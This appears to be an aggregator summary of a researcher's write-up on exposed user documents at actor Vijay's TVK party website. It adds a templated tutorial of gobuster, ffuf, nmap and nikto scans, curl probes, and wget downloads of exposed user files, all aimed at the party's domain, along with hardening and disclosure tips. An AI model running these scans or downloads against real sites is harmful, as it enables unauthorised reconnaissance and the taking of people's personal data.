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Source: Infosec Writeups – How I Hacked Actor Vijay’s Political Party Website
A security researcher discovered sensitive user documents publicly accessible on actor Vijay’s political party website (TVK). The exposed data included personal details of multiple users, highlighting a severe data privacy vulnerability.
You Should Know:
1. Identifying Exposed Directories
Use tools like dirb
, gobuster
, or `wfuzz` to scan for open directories:
gobuster dir -u https://tvk-party-website.com -w /usr/share/wordlists/dirb/common.txt -t 50
Explanation:
-u
: Target URL-w
: Wordlist for brute-forcing directories-t
: Threads for faster scanning
2. Checking File Permissions
If the server misconfigures permissions, sensitive files (e.g., .env
, config.php
, user_data.xlsx
) may be exposed.
curl -I https://tvk-party-website.com/secret-documents/userlist.pdf
Expected Output:
- If `HTTP/1.1 200 OK` appears, the file is accessible.
3. Extracting Exposed Data
Use `wget` to download exposed files for analysis:
wget https://tvk-party-website.com/exposed/user_data.csv
4. Reporting the Vulnerability
If no official reporting mechanism exists, follow responsible disclosure:
1. Document the issue with screenshots.
2. Contact the organization via email (e.g., `[email protected]`).
- If no response, escalate via platforms like CERT or HackerOne.
5. Securing Your Own Web Apps
Prevent similar leaks with these steps:
- Disable Directory Listing (Apache):
Options -Indexes
- Restrict File Access (Nginx):
location /private/ { deny all; }
- Use `.htaccess` Protection:
AuthType Basic AuthName "Restricted Access" AuthUserFile /path/to/.htpasswd Require valid-user
6. Automating Security Checks
Run a quick vulnerability scan with Nikto:
nikto -h https://tvk-party-website.com
What Undercode Say:
This case highlights the dangers of misconfigured web servers and poor access control. Organizations must:
– Regularly audit file permissions (chmod 600
for sensitive files).
– Implement Web Application Firewalls (WAFs) like ModSecurity.
– Conduct penetration tests before deployment.
Key Commands Recap:
Check for open ports nmap -sV tvk-party-website.com Find hidden directories ffuf -u https://tvk-party-website.com/FUZZ -w wordlist.txt Secure file permissions chmod 700 /var/www/html/private
Prediction:
Unsecured political and organizational websites will continue to be prime targets for data breaches unless secure coding practices and automated security scans become standard.
Expected Output:
- A detailed report on exposed data.
- Proof-of-concept (PoC) for the vulnerability.
- Mitigation steps for the affected organization.
IT/Security Reporter URL:
Reported By: Rejen Thompson – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅